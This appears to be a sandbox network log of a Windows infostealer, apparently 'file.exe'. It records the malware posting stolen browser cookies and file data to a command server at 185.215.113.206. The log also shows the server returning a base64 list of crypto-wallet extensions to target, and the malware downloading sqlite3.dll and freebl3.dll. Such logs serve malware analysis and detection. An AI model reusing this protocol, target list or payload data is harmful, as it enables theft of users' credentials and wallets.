Dec 8, 2024 17:45:12.416440964 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 8, 2024 17:45:12.416584015 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 8, 2024 17:45:12.416595936 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 8, 2024 17:45:12.416608095 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 8, 2024 17:45:12.418778896 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"fplugins------FHIIEHJKKECGCBFIIJDA--
Dec 8, 2024 17:45:12.863575935 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 8, 2024 17:45:12.884659052 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 185.215.113.206 Content-Length: 7791 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 17:45:12.884726048 CET	7791	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 8, 2024 17:45:13.859081030 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:14.376233101 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:14.817894936 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 8, 2024 17:45:14.817945957 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 8, 2024 17:45:14.820321083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 8, 2024 17:45:14.820420027 CET	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49763	185.215.113.206	80	7296	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:45:23.955136061 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDGCFHIDAKECFHIEBFCG--
Dec 8, 2024 17:45:25.798640013 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:25.975389004 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="file"------KJEGCFBGDHJJJJJKJECF--
Dec 8, 2024 17:45:27.027590036 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49805	185.215.113.206	80	7296	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 17:45:38.936569929 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Dec 8, 2024 17:45:39.294085026 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 35 64 61 63 39 65 34 63 64 38 32 33 37 39 63 35 34 37 33 39 38 37 65 32 30 31 33 62 63 30 39 63 30 64 36 66 61 32 62 30 65 36 33 39 37 37 64 30 30 61 36 31 64 64 35 37 31 30 34 64 62 37 32 36 61 36 62 35 61 32 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"65dac9e4cd82379c5473987e2013bc09c0d6fa2b0e63977d00a61dd57104db726a6b5a29------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Dec 8, 2024 17:45:41.181752920 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 17:45:42.126681089 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 17:45:42.563828945 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 8, 2024 17:45:42.563870907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 8, 2024 17:45:42.563884974 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 8, 2024 17:45:42.564029932 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 8, 2024 17:45:42.564045906 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 8, 2024 17:45:42.564059019 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 8, 2024 17:45:42.564071894 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 8, 2024 17:45:42.564167976 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 8, 2024 17:45:42.564181089 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 8, 2024 17:45:42.582618952 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
